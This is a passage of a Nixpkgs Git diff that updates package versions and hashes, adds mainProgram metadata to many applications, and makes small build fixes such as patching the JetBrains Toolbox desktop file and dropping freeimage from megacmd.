# JetBrains ship a broken desktop file. Despite registering a custom + # scheme handler for jetbrains:// URLs, they never mark the command as + # being suitable for passing URLs to. Ergo, the handler never receives + # its payload. This causes various things to break, including login. + # Reported upstream at: https://youtrack.jetbrains.com/issue/TBX-11478/ + sed -Ei '/^Exec=/s/( %U)?$/ %U/' $out/jetbrains-toolbox.desktop ''; appimage = appimageTools.wrapAppImage { @@ -31,19 +37,6 @@ let src = appimageContents; extraPkgs = pkgs: (appimageTools.defaultFhsEnvArgs.targetPkgs pkgs); }; - - desktopItem = makeDesktopItem { - name = "JetBrains Toolbox"; - exec = "jetbrains-toolbox"; - comment = "JetBrains Toolbox"; - desktopName = "JetBrains Toolbox"; - type = "Application"; - icon = "jetbrains-toolbox"; - terminal = false; - categories = [ "Development" ]; - startupWMClass = "jetbrains-toolbox"; - startupNotify = false; - }; in stdenv.mkDerivation { inherit pname version src appimage; @@ -61,7 +54,7 @@ stdenv.mkDerivation { runHook postInstall ''; - desktopItems = [ desktopItem ]; + desktopItems = [ "${appimageContents}/jetbrains-toolbox.desktop" ]; # Disabling the tests, this seems to be very difficult to test this app. doCheck = false; @@ -72,5 +65,6 @@ stdenv.mkDerivation { license = licenses.unfree; maintainers = with maintainers; [ AnatolyPopov ]; platforms = [ "x86_64-linux" ]; + mainProgram = "jetbrains-toolbox"; }; } diff --git a/pkgs/applications/misc/johnny-reborn/default.nix b/pkgs/applications/misc/johnny-reborn/default.nix index 5a512b0466e76..180d46519c646 100644 --- a/pkgs/applications/misc/johnny-reborn/default.nix +++ b/pkgs/applications/misc/johnny-reborn/default.nix @@ -4,35 +4,34 @@ , SDL2 }: -stdenv.mkDerivation { +stdenv.mkDerivation rec { pname = "johnny-reborn-engine"; - version = "unstable-2020-12-06"; + version = "0.30"; src = fetchFromGitHub { - owner = "jno6809"; + owner = "xesf"; repo = "jc_reborn"; - rev = "524a5803e4fa65f840379c781f40ce39a927032e"; - hash = "sha256-YKAOCgdRnvNMzL6LJVXN0pLvjyJk4Zv/RCqGtDPFR90="; + rev = "v${version}"; + hash = "sha256-n3ELNFvjeDzbamyQIdM9mf/A1sstuhCGzrL9NuXf90Y="; }; - makefile = "Makefile.linux"; - buildInputs = [ SDL2 ]; installPhase = '' runHook preInstall - mkdir -p $out - cp jc_reborn $out/ + mkdir -p $out/bin + cp jc_reborn $out/bin/ runHook postInstall ''; meta = { description = "An open-source engine for the classic \"Johnny Castaway\" screensaver (engine only)"; - homepage = "https://github.com/jno6809/jc_reborn"; + homepage = "https://github.com/xesf/jc_reborn"; license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ pedrohlc ]; + mainProgram = "jc_reborn"; inherit (SDL2.meta) platforms; }; } diff --git a/pkgs/applications/misc/johnny-reborn/with-data.nix b/pkgs/applications/misc/johnny-reborn/with-data.nix index 04300524665e8..b9432c543feee 100644 --- a/pkgs/applications/misc/johnny-reborn/with-data.nix +++ b/pkgs/applications/misc/johnny-reborn/with-data.nix @@ -6,7 +6,6 @@ , makeWrapper }: - let sounds = fetchFromGitHub { owner = "nivs1978"; @@ -39,15 +38,15 @@ stdenvNoCC.mkDerivation { installPhase = '' runHook preInstall - mkdir -p $out - cp -t $out/ \ + mkdir -p $out/share/jc_reborn/data + cp -t $out/share/jc_reborn/data/ \ ../scrantic-source/RESOURCE.* \ JCOS/Resources/sound*.wav makeWrapper \ - ${johnny-reborn-engine}/jc_reborn \ - $out/jc_reborn \ - --chdir $out + ${johnny-reborn-engine}/bin/jc_reborn \ + $out/bin/jc_reborn \ + --chdir $out/share/jc_reborn runHook postInstall ''; @@ -56,6 +55,6 @@ stdenvNoCC.mkDerivation { description = "An open-source engine for the classic \"Johnny Castaway\" screensaver (ready to use, with resources)"; license = lib.licenses.unfree; maintainers = with lib.maintainers; [ pedrohlc ]; - inherit (johnny-reborn-engine.meta) homepage platforms; + inherit (johnny-reborn-engine.meta) homepage platforms mainProgram; }; } diff --git a/pkgs/applications/misc/joplin-desktop/default.nix b/pkgs/applications/misc/joplin-desktop/default.nix index 47c9856260cfb..67c58d5c3009d 100644 --- a/pkgs/applications/misc/joplin-desktop/default.nix +++ b/pkgs/applications/misc/joplin-desktop/default.nix @@ -2,7 +2,7 @@ let pname = "joplin-desktop"; - version = "2.13.15"; + version = "2.14.17"; inherit (stdenv.hostPlatform) system; throwSystem = throw "Unsupported system: ${system}"; @@ -16,9 +16,9 @@ let src = fetchurl { url = "https://github.com/laurent22/joplin/releases/download/v${version}/Joplin-${version}${suffix}"; sha256 = { - x86_64-linux = "sha256-5tLONAChZaiJqvK/lg1NGTH3LYBlezIAmtQvng0nNNc="; - x86_64-darwin = "sha256-MFBOYA6weAwGLp/ezfU58RvSlGFFlkg0Flcx64q7Wo8="; - aarch64-darwin = "sha256-6CKXa/td567NtzTV7laU7l9xw8WOB9RZR6I1vXeLuyo="; + x86_64-linux = "sha256-u4wEchyljurmwVZsRnmUBITZUR6SxDxyGczZjXNsJkg="; + x86_64-darwin = "sha256-KjNwAnJZGX/DvHDPw15vGlSbJ47s6YT59EalARt1mx4="; + aarch64-darwin = "sha256-OYpsHPI+7riMVNAp2JpBlmdFdJUSNqNvBmeYHDw6yzY="; }.${system} or throwSystem; }; diff --git a/pkgs/applications/misc/josm/default.nix b/pkgs/applications/misc/josm/default.nix index 41521f2d7c57c..3c3fc200c114c 100644 --- a/pkgs/applications/misc/josm/default.nix +++ b/pkgs/applications/misc/josm/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ rycee sikmir ]; platforms = platforms.all; + mainProgram = "josm"; }; } diff --git a/pkgs/applications/misc/jp2a/default.nix b/pkgs/applications/misc/jp2a/default.nix index bebccc6c1c4cc..5ae33e8264f9d 100644 --- a/pkgs/applications/misc/jp2a/default.nix +++ b/pkgs/applications/misc/jp2a/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = [ maintainers.FlorianFranzen ]; platforms = platforms.unix; + mainProgram = "jp2a"; }; } diff --git a/pkgs/applications/misc/jquake/default.nix b/pkgs/applications/misc/jquake/default.nix index ce0ea2ec1c5f4..916a12db31507 100644 --- a/pkgs/applications/misc/jquake/default.nix +++ b/pkgs/applications/misc/jquake/default.nix @@ -64,5 +64,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.unfree; platforms = platforms.linux; + mainProgram = "JQuake"; }; } diff --git a/pkgs/applications/misc/kaufkauflist/default.nix b/pkgs/applications/misc/kaufkauflist/default.nix index b6a99ee0b84f8..e7e462caf791a 100644 --- a/pkgs/applications/misc/kaufkauflist/default.nix +++ b/pkgs/applications/misc/kaufkauflist/default.nix @@ -48,5 +48,6 @@ in buildNpmPackage rec { description = "A to-do list for shopping or other use cases"; license = licenses.mit; maintainers = with maintainers; [ annaaurora ]; + mainProgram = "kaufdbclean"; }; } diff --git a/pkgs/applications/misc/kbt/default.nix b/pkgs/applications/misc/kbt/default.nix index 3960556f4d8ea..c59b5e62c4339 100644 --- a/pkgs/applications/misc/kbt/default.nix +++ b/pkgs/applications/misc/kbt/default.nix @@ -35,5 +35,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/bloznelis/kbt"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "kbt"; }; } diff --git a/pkgs/applications/misc/keepass-diff/default.nix b/pkgs/applications/misc/keepass-diff/default.nix index 5e03c0f2cac43..5cee712ae0c61 100644 --- a/pkgs/applications/misc/keepass-diff/default.nix +++ b/pkgs/applications/misc/keepass-diff/default.nix @@ -16,5 +16,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://keepass-diff.narigo.dev/"; license = licenses.mit; maintainers = with maintainers; [ wamserma ]; + mainProgram = "keepass-diff"; }; } diff --git a/pkgs/applications/misc/keylight-controller-mschneider82/default.nix b/pkgs/applications/misc/keylight-controller-mschneider82/default.nix index 9d70e59202e8a..5a9afb42dd15a 100644 --- a/pkgs/applications/misc/keylight-controller-mschneider82/default.nix +++ b/pkgs/applications/misc/keylight-controller-mschneider82/default.nix @@ -42,6 +42,7 @@ buildGoModule rec { license = licenses.mit; homepage = "https://github.com/mschneider82/keylight-control"; maintainers = with maintainers; [ ]; + mainProgram = "keylight-control"; }; } diff --git a/pkgs/applications/misc/kiln/default.nix b/pkgs/applications/misc/kiln/default.nix index ed9575ffa0ba1..cafa43fa4f8cf 100644 --- a/pkgs/applications/misc/kiln/default.nix +++ b/pkgs/applications/misc/kiln/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { homepage = "https://kiln.adnano.co/"; license = licenses.mit; maintainers = with maintainers; [ sikmir ]; + mainProgram = "kiln"; }; } diff --git a/pkgs/applications/misc/kiwix/default.nix b/pkgs/applications/misc/kiwix/default.nix index 600ea299d18fe..6e255b74f4b13 100644 --- a/pkgs/applications/misc/kiwix/default.nix +++ b/pkgs/applications/misc/kiwix/default.nix @@ -9,15 +9,15 @@ , aria2 }: -mkDerivation rec { +mkDerivation { pname = "kiwix"; - version = "2.3.1"; + version = "2.3.1-unstable-2024-02-20"; src = fetchFromGitHub { - owner = pname; - repo = "${pname}-desktop"; - rev = version; - sha256 = "sha256-ghx4pW6IkWPzZXk0TtMGeQZIzm9HEN3mR4XQFJ1xHDo="; + owner = "kiwix"; + repo = "kiwix-desktop"; + rev = "17ac566b07814aefb1decf108e4ba6d7ad9ef7bc"; + hash = "sha256-BZzFnQE8/dyZkpY0X3zZ6yC6yLZ002Q/RoDzEhSOa/g="; }; nativeBuildInputs = [ @@ -42,6 +42,6 @@ mkDerivation rec { homepage = "https://kiwix.org"; license = licenses.gpl3Plus; platforms = platforms.linux; - maintainers = with maintainers; [ ajs124 ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/applications/misc/kiwix/lib.nix b/pkgs/applications/misc/kiwix/lib.nix index aa9117997c08a..0fb33b6b0a9b1 100644 --- a/pkgs/applications/misc/kiwix/lib.nix +++ b/pkgs/applications/misc/kiwix/lib.nix @@ -11,15 +11,15 @@ , gtest }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libkiwix"; - version = "12.1.1"; + version = "13.1.0"; src = fetchFromGitHub { owner = "kiwix"; - repo = pname; - rev = version; - sha256 = "sha256-hcwLxfn1fiUAiwsnIddv4HukvVrFePtx7sDQUD1lGUA="; + repo = "libkiwix"; + rev = finalAttrs.version; + hash = "sha256-DKOwzfGyad/3diOaV1K8hXqT8YGfqCP6QDKDkxWu/1U="; }; nativeBuildInputs = [ @@ -55,8 +55,9 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Common code base for all Kiwix ports"; homepage = "https://kiwix.org"; + changelog = "https://github.com/kiwix/libkiwix/releases/tag/${finalAttrs.version}"; license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = with maintainers; [ colinsane ]; }; -} +}) diff --git a/pkgs/applications/misc/kiwix/tools.nix b/pkgs/applications/misc/kiwix/tools.nix index fcc99cf414038..979ce433fb4bc 100644 --- a/pkgs/applications/misc/kiwix/tools.nix +++ b/pkgs/applications/misc/kiwix/tools.nix @@ -9,15 +9,15 @@ , stdenv }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "kiwix-tools"; - version = "3.5.0"; + version = "3.6.0"; src = fetchFromGitHub { owner = "kiwix"; repo = "kiwix-tools"; - rev = version; - sha256 = "sha256-bOxi51H28LhA+5caX6kllIY5B3Q1FoGVFadFIhYRkG0="; + rev = finalAttrs.version; + hash = "sha256-+th86lMAuCcmWj06yQoZ1L7rLZKqNvuTrV+Rra2km44="; }; nativeBuildInputs = [ @@ -36,9 +36,9 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Command line Kiwix tools: kiwix-serve, kiwix-manage, ..."; homepage = "https://kiwix.org"; + changelog = "https://github.com/kiwix/kiwix-tools/releases/tag/${finalAttrs.version}"; license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = with maintainers; [ colinsane ]; }; -} - +}) diff --git a/pkgs/applications/misc/klipperscreen/default.nix b/pkgs/applications/misc/klipperscreen/default.nix index e970c25725489..8589991ff522b 100644 --- a/pkgs/applications/misc/klipperscreen/default.nix +++ b/pkgs/applications/misc/klipperscreen/default.nix @@ -50,5 +50,6 @@ homepage = "https://github.com/jordanruthe/KlipperScreen"; license = licenses.agpl3; maintainers = with maintainers; [ cab404 ]; + mainProgram = "KlipperScreen"; }; } diff --git a/pkgs/applications/misc/kondo/default.nix b/pkgs/applications/misc/kondo/default.nix index c210c257cc537..eba5799a91727 100644 --- a/pkgs/applications/misc/kondo/default.nix +++ b/pkgs/applications/misc/kondo/default.nix @@ -18,5 +18,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/tbillington/kondo"; license = licenses.mit; maintainers = with maintainers; [ Br1ght0ne ]; + mainProgram = "kondo"; }; } diff --git a/pkgs/applications/misc/krabby/default.nix b/pkgs/applications/misc/krabby/default.nix index 31880f99a0cba..d006ec00b918f 100644 --- a/pkgs/applications/misc/krabby/default.nix +++ b/pkgs/applications/misc/krabby/default.nix @@ -19,5 +19,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/yannjor/krabby/releases/tag/v${version}"; license = licenses.gpl3; maintainers = with maintainers; [ ruby0b ]; + mainProgram = "krabby"; }; } diff --git a/pkgs/applications/misc/kratos/default.nix b/pkgs/applications/misc/kratos/default.nix index 9031b7d6d566f..d5d12eb44676d 100644 --- a/pkgs/applications/misc/kratos/default.nix +++ b/pkgs/applications/misc/kratos/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kratos"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitHub { owner = "ory"; repo = "kratos"; rev = "v${version}"; - hash = "sha256-KDpc0zc65rvvpPojghFEujoS0aewyjv7B/bmpC2i1dA="; + hash = "sha256-zrII2lpffZkwFauPAilh1QaqRKvpj1mlHZA7in1ljYg="; }; - vendorHash = "sha256-Y/Sd2hu1bPUb0TQRD1pANz+rtqKcHBXvjKpYwKgxHMQ="; + vendorHash = "sha256-TSB7jCPOVwub+ZQaaUSmsz/R4HAfmnWb0wTf2w4aeuk="; subPackages = [ "." ]; @@ -38,5 +38,6 @@ buildGoModule rec { homepage = "https://www.ory.sh/kratos/"; license = licenses.asl20; description = "An API-first Identity and User Management system that is built according to cloud architecture best practices"; + mainProgram = "kratos"; }; } diff --git a/pkgs/applications/misc/lavalauncher/default.nix b/pkgs/applications/misc/lavalauncher/default.nix index 1e8cb505f4a00..d4556402e21bb 100644 --- a/pkgs/applications/misc/lavalauncher/default.nix +++ b/pkgs/applications/misc/lavalauncher/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ AndersonTorres ]; platforms = with platforms; unix; + mainProgram = "lavalauncher"; }; } diff --git a/pkgs/applications/misc/lemonade/default.nix b/pkgs/applications/misc/lemonade/default.nix index 68622718e0482..c9ca92d364e13 100644 --- a/pkgs/applications/misc/lemonade/default.nix +++ b/pkgs/applications/misc/lemonade/default.nix @@ -31,5 +31,6 @@ buildGoModule rec { homepage = "https://github.com/lemonade-command/lemonade/"; license = licenses.mit; maintainers = with maintainers; [ ]; + mainProgram = "lemonade"; }; } diff --git a/pkgs/applications/misc/lenmus/default.nix b/pkgs/applications/misc/lenmus/default.nix index 80da168cdafef..6736f342e89a8 100644 --- a/pkgs/applications/misc/lenmus/default.nix +++ b/pkgs/applications/misc/lenmus/default.nix @@ -94,5 +94,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ ramkromberg ]; platforms = with platforms; unix; + mainProgram = "lenmus"; }; } diff --git a/pkgs/applications/misc/limesctl/default.nix b/pkgs/applications/misc/limesctl/default.nix index 119d8488ed475..00323a259db22 100644 --- a/pkgs/applications/misc/limesctl/default.nix +++ b/pkgs/applications/misc/limesctl/default.nix @@ -20,5 +20,6 @@ buildGoModule rec { homepage = "https://github.com/sapcc/limesctl"; license = licenses.asl20; maintainers = with maintainers; [ SuperSandro2000 ]; + mainProgram = "limesctl"; }; } diff --git a/pkgs/applications/misc/logseq/default.nix b/pkgs/applications/misc/logseq/default.nix index 0877b3169014a..27aeca89be60f 100644 --- a/pkgs/applications/misc/logseq/default.nix +++ b/pkgs/applications/misc/logseq/default.nix @@ -14,11 +14,11 @@ stdenv.mkDerivation (finalAttrs: let in { pname = "logseq"; - version = "0.10.6"; + version = "0.10.7"; src = fetchurl { url = "https://github.com/logseq/logseq/releases/download/${version}/logseq-linux-x64-${version}.AppImage"; - hash = "sha256-OUQh+6HRnzxw8Nn/OkU+DkjPKWKpMN0xchD1vPU3KV8="; + hash = "sha256-EC83D7tSpoDV6h363yIdX9IrTfoMd4b0hTVdW1T0pXg="; name = "${pname}-${version}.AppImage"; }; @@ -74,5 +74,6 @@ in { sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; maintainers = with lib.maintainers; [ ]; platforms = [ "x86_64-linux" ]; + mainProgram = "logseq"; }; }) diff --git a/pkgs/applications/misc/lscolors/default.nix b/pkgs/applications/misc/lscolors/default.nix index d61499ed07376..104f1baa037d8 100644 --- a/pkgs/applications/misc/lscolors/default.nix +++ b/pkgs/applications/misc/lscolors/default.nix @@ -22,5 +22,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/sharkdp/lscolors/releases/tag/v${version}"; license = with licenses; [ asl20 /* or */ mit ]; maintainers = with maintainers; [ SuperSandro2000 ]; + mainProgram = "lscolors"; }; } diff --git a/pkgs/applications/misc/lswt/default.nix b/pkgs/applications/misc/lswt/default.nix index 59315ec9b7fd6..98f36028dbc22 100644 --- a/pkgs/applications/misc/lswt/default.nix +++ b/pkgs/applications/misc/lswt/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with maintainers; [ edrex ]; platforms = platforms.linux; + mainProgram = "lswt"; }; } diff --git a/pkgs/applications/misc/ltwheelconf/default.nix b/pkgs/applications/misc/ltwheelconf/default.nix index 52fac4941562b..b9c53a58b03de 100644 --- a/pkgs/applications/misc/ltwheelconf/default.nix +++ b/pkgs/applications/misc/ltwheelconf/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation { license = licenses.gpl3; maintainers = [ maintainers.ebzzry ]; platforms = platforms.linux; + mainProgram = "ltwheelconf"; }; } diff --git a/pkgs/applications/misc/lunatask/default.nix b/pkgs/applications/misc/lunatask/default.nix index b298992fbf83d..017eb17a40ad1 100644 --- a/pkgs/applications/misc/lunatask/default.nix +++ b/pkgs/applications/misc/lunatask/default.nix @@ -37,5 +37,6 @@ appimageTools.wrapType2 rec { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; maintainers = with maintainers; [ henkery ]; platforms = [ "x86_64-linux" ]; + mainProgram = "lunatask"; }; } diff --git a/pkgs/applications/misc/lutris/fhsenv.nix b/pkgs/applications/misc/lutris/fhsenv.nix index 7f78b60f45bc7..acdbf8835e31f 100644 --- a/pkgs/applications/misc/lutris/fhsenv.nix +++ b/pkgs/applications/misc/lutris/fhsenv.nix @@ -12,6 +12,14 @@ let libX11 libXrender libXrandr libxcb libXmu libpthreadstubs libXext libXdmcp libXxf86vm libXinerama libSM libXv libXaw libXi libXcursor libXcomposite ]; + gstreamerDeps = pkgs: with pkgs.gst_all_1; [ + gstreamer + gst-plugins-base + gst-plugins-good + gst-plugins-ugly + gst-plugins-bad + gst-libav + ]; in buildFHSEnv { name = "lutris"; @@ -121,6 +129,7 @@ in buildFHSEnv { # Winetricks fribidi ] ++ xorgDeps pkgs + ++ gstreamerDeps pkgs ++ extraLibraries pkgs; extraInstallCommands = '' diff --git a/pkgs/applications/misc/lyx/default.nix b/pkgs/applications/misc/lyx/default.nix index 514cca9e8a5e8..dc79cc5922fb9 100644 --- a/pkgs/applications/misc/lyx/default.nix +++ b/pkgs/applications/misc/lyx/default.nix @@ -3,12 +3,12 @@ }: mkDerivation rec { - version = "2.3.6.1"; + version = "2.3.7-1"; pname = "lyx"; src = fetchurl { url = "ftp://ftp.lyx.org/pub/lyx/stable/2.3.x/${pname}-${version}.tar.xz"; - sha256 = "sha256-xr7SYzQZiY4Bp8w1AxDX2TS/WRyrcln8JYGqTADq+ng="; + sha256 = "sha256-Ob6IZPuGs06IMQ5w+4Dl6eKWYB8IVs8WGqCUFxcY2O0="; }; # Needed with GCC 12 diff --git a/pkgs/applications/misc/madonctl/default.nix b/pkgs/applications/misc/madonctl/default.nix index 0e204ea838545..203d71a6cc48f 100644 --- a/pkgs/applications/misc/madonctl/default.nix +++ b/pkgs/applications/misc/madonctl/default.nix @@ -33,5 +33,6 @@ buildGoModule rec { homepage = "https://github.com/McKael/madonctl"; license = licenses.mit; maintainers = with maintainers; [ ]; + mainProgram = "madonctl"; }; } diff --git a/pkgs/applications/misc/mainsail/default.nix b/pkgs/applications/misc/mainsail/default.nix index cb9ce043e9ce6..4f4c915050274 100644 --- a/pkgs/applications/misc/mainsail/default.nix +++ b/pkgs/applications/misc/mainsail/default.nix @@ -5,11 +5,11 @@ stdenvNoCC.mkDerivation rec { pname = "mainsail"; - version = "2.9.1"; + version = "2.10.0"; src = fetchzip { url = "https://github.com/mainsail-crew/mainsail/releases/download/v${version}/mainsail.zip"; - hash = "sha256-OrCS+0zfXs72vJbrqjvEaHJWD0ndozfCcHs1N9Gqios="; + hash = "sha256-5bRmM/BXI0Afe7UK6avh5aWFXkYF4MsUG71uYUc5JlA="; stripRoot = false; }; diff --git a/pkgs/applications/misc/makeself/default.nix b/pkgs/applications/misc/makeself/default.nix index 3226797ca4be9..7c2d33aebc008 100644 --- a/pkgs/applications/misc/makeself/default.nix +++ b/pkgs/applications/misc/makeself/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.wmertens ]; platforms = platforms.all; + mainProgram = "makeself"; }; } diff --git a/pkgs/applications/misc/mako/default.nix b/pkgs/applications/misc/mako/default.nix index b4eeb51049bea..ca7849c566a98 100644 --- a/pkgs/applications/misc/mako/default.nix +++ b/pkgs/applications/misc/mako/default.nix @@ -1,5 +1,5 @@ { lib, stdenv, fetchFromGitHub, meson, ninja, pkg-config, scdoc -, systemd, pango, cairo, gdk-pixbuf, jq +, systemd, pango, cairo, gdk-pixbuf, jq, bash , wayland, wayland-protocols , wrapGAppsHook }: @@ -25,7 +25,7 @@ stdenv.mkDerivation rec { preFixup = '' gappsWrapperArgs+=( - --prefix PATH : "${lib.makeBinPath [ systemd /* for busctl */ jq ]}" + --prefix PATH : "${lib.makeBinPath [ systemd /* for busctl */ jq bash ]}" ) ''; diff --git a/pkgs/applications/misc/mangal/default.nix b/pkgs/applications/misc/mangal/default.nix index 6edc9da4f602f..cc485d84e8e08 100644 --- a/pkgs/applications/misc/mangal/default.nix +++ b/pkgs/applications/misc/mangal/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { homepage = "https://github.com/metafates/mangal"; license = licenses.mit; maintainers = [ maintainers.bertof ]; + mainProgram = "mangal"; }; } diff --git a/pkgs/applications/misc/mdp/default.nix b/pkgs/applications/misc/mdp/default.nix index 2c13ed4ecc9e7..fd3ab88ff4c82 100644 --- a/pkgs/applications/misc/mdp/default.nix +++ b/pkgs/applications/misc/mdp/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ matthiasbeyer vrthra ]; license = licenses.gpl3; platforms = with platforms; unix; + mainProgram = "mdp"; }; } diff --git a/pkgs/applications/misc/mdzk/default.nix b/pkgs/applications/misc/mdzk/default.nix index 98bcda9943fcd..e4093295df682 100644 --- a/pkgs/applications/misc/mdzk/default.nix +++ b/pkgs/applications/misc/mdzk/default.nix @@ -26,5 +26,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/mdzk-rs/mdzk/blob/main/CHANGELOG.md"; license = licenses.mpl20; maintainers = with maintainers; [ bryanasdev000 ratsclub ]; + mainProgram = "mdzk"; }; } diff --git a/pkgs/applications/misc/mediainfo/default.nix b/pkgs/applications/misc/mediainfo/default.nix index b6a5166bd213d..3891715e7b237 100644 --- a/pkgs/applications/misc/mediainfo/default.nix +++ b/pkgs/applications/misc/mediainfo/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "mediainfo"; - version = "23.11"; + version = "24.01.1"; src = fetchurl { url = "https://mediaarea.net/download/source/mediainfo/${version}/mediainfo_${version}.tar.xz"; - hash = "sha256-gByxsNG//MEibeymISoe41Mi6LsSYwozu7B6kqioycM="; + hash = "sha256-MupkbVyGxj1UQY0QsnNiYKtD5Lcn+B6N1ez16bXj/TQ="; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/applications/misc/meerk40t/default.nix b/pkgs/applications/misc/meerk40t/default.nix index dfa643ec3a7ab..b07133ecbbc2f 100644 --- a/pkgs/applications/misc/meerk40t/default.nix +++ b/pkgs/applications/misc/meerk40t/default.nix @@ -8,14 +8,14 @@ python3Packages.buildPythonApplication rec { pname = "MeerK40t"; - version = "0.9.3010"; + version = "0.9.4000"; pyproject = true; src = fetchFromGitHub { owner = "meerk40t"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-RlIWqxmUiL1gFMxwcdWxDiebmEzVz6kTaSlAZHr8S+I="; + hash = "sha256-ceDnnHdmJ6VOrM9pSxjeKQ748E8fsIqSQ36qFpXc9Ac="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/megacmd/default.nix b/pkgs/applications/misc/megacmd/default.nix index 9875631466c36..4a4d9a70fdabd 100644 --- a/pkgs/applications/misc/megacmd/default.nix +++ b/pkgs/applications/misc/megacmd/default.nix @@ -8,7 +8,6 @@ # build fails with latest ffmpeg, see https://github.com/meganz/MEGAcmd/issues/523. # to be re-enabled when patch available # , ffmpeg -, freeimage , gcc-unwrapped , libmediainfo , libraw @@ -41,7 +40,6 @@ stdenv.mkDerivation rec { cryptopp curl # ffmpeg - freeimage gcc-unwrapped libmediainfo libraw @@ -60,7 +58,7 @@ stdenv.mkDerivation rec { "--with-cryptopp" "--with-curl" # "--with-ffmpeg" - "--with-freeimage" + "--without-freeimage" # disabled as freeimage is insecure "--with-libmediainfo" "--with-libuv" "--with-libzen" diff --git a/pkgs/applications/misc/memo/default.nix b/pkgs/applications/misc/memo/default.nix index 885e5466f8b3e..93ef8192f54b4 100644 --- a/pkgs/applications/misc/memo/default.nix +++ b/pkgs/applications/misc/memo/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3; maintainers = [ lib.maintainers.mrVanDalo ]; platforms = lib.platforms.all; + mainProgram = "memo"; }; } diff --git a/pkgs/applications/misc/mencal/default.nix b/pkgs/applications/misc/mencal/default.nix index c4973b2755348..011db7455fcf2 100644 --- a/pkgs/applications/misc/mencal/default.nix +++ b/pkgs/applications/misc/mencal/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.mmahut ]; platforms = platforms.all; + mainProgram = "mencal"; }; } diff --git a/pkgs/applications/misc/metamorphose2/default.nix b/pkgs/applications/misc/metamorphose2/default.nix index 9b2b7bdde8815..c5950e2e9df0a 100644 --- a/pkgs/applications/misc/metamorphose2/default.nix +++ b/pkgs/applications/misc/metamorphose2/default.nix @@ -39,5 +39,6 @@ stdenv.mkDerivation { license = with licenses; gpl3Plus; maintainers = with maintainers; [ ramkromberg ]; platforms = with platforms; linux; + mainProgram = "metamorphose2"; }; } diff --git a/pkgs/applications/misc/metar/default.nix b/pkgs/applications/misc/metar/default.nix index 07ac41f7281eb..d1edfb6a761f1 100644 --- a/pkgs/applications/misc/metar/default.nix +++ b/pkgs/applications/misc/metar/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation { ''; license = licenses.gpl2Plus; maintainers = with maintainers; [ zalakain ]; + mainProgram = "metar"; }; } diff --git a/pkgs/applications/misc/milu/default.nix b/pkgs/applications/misc/milu/default.nix index a941f6251498f..b05a1c815baad 100644 --- a/pkgs/applications/misc/milu/default.nix +++ b/pkgs/applications/misc/milu/default.nix @@ -34,6 +34,7 @@ stdenv.mkDerivation { license = lib.licenses.bsd2; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.vrthra ]; + mainProgram = "milu"; }; } diff --git a/pkgs/applications/misc/mkgmap/default.nix b/pkgs/applications/misc/mkgmap/default.nix index 298aa2ef40f4b..5648e34d84618 100644 --- a/pkgs/applications/misc/mkgmap/default.nix +++ b/pkgs/applications/misc/mkgmap/default.nix @@ -15,12 +15,12 @@ let in stdenv.mkDerivation rec { pname = "mkgmap"; - version = "4916"; + version = "4917"; src = fetchsvn { url = "https://svn.mkgmap.org.uk/mkgmap/mkgmap/trunk"; rev = version; - sha256 = "sha256-Ok6s1DaTZBcYtkHA7WAxjGz0HycvFqBpkwZIirc+dFU="; + sha256 = "sha256-7VCEbsvcT7iaJ3MZz4CthJEE9FSJCowAO7PJ9UqmzPA="; }; patches = [ @@ -83,5 +83,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ sikmir ]; platforms = platforms.all; + mainProgram = "mkgmap"; }; } diff --git a/pkgs/applications/misc/monitorcontrol/default.nix b/pkgs/applications/misc/monitorcontrol/default.nix index 6c3a1ccec34e7..b5a6935958e23 100644 --- a/pkgs/applications/misc/monitorcontrol/default.nix +++ b/pkgs/applications/misc/monitorcontrol/default.nix @@ -14,14 +14,6 @@ stdenv.mkDerivation rec { }; # MonitorControl.${version}.dmg is APFS formatted, unpack with 7zz - unpackCmd = '' - runHook preUnpack - - 7zz x $src - - runHook 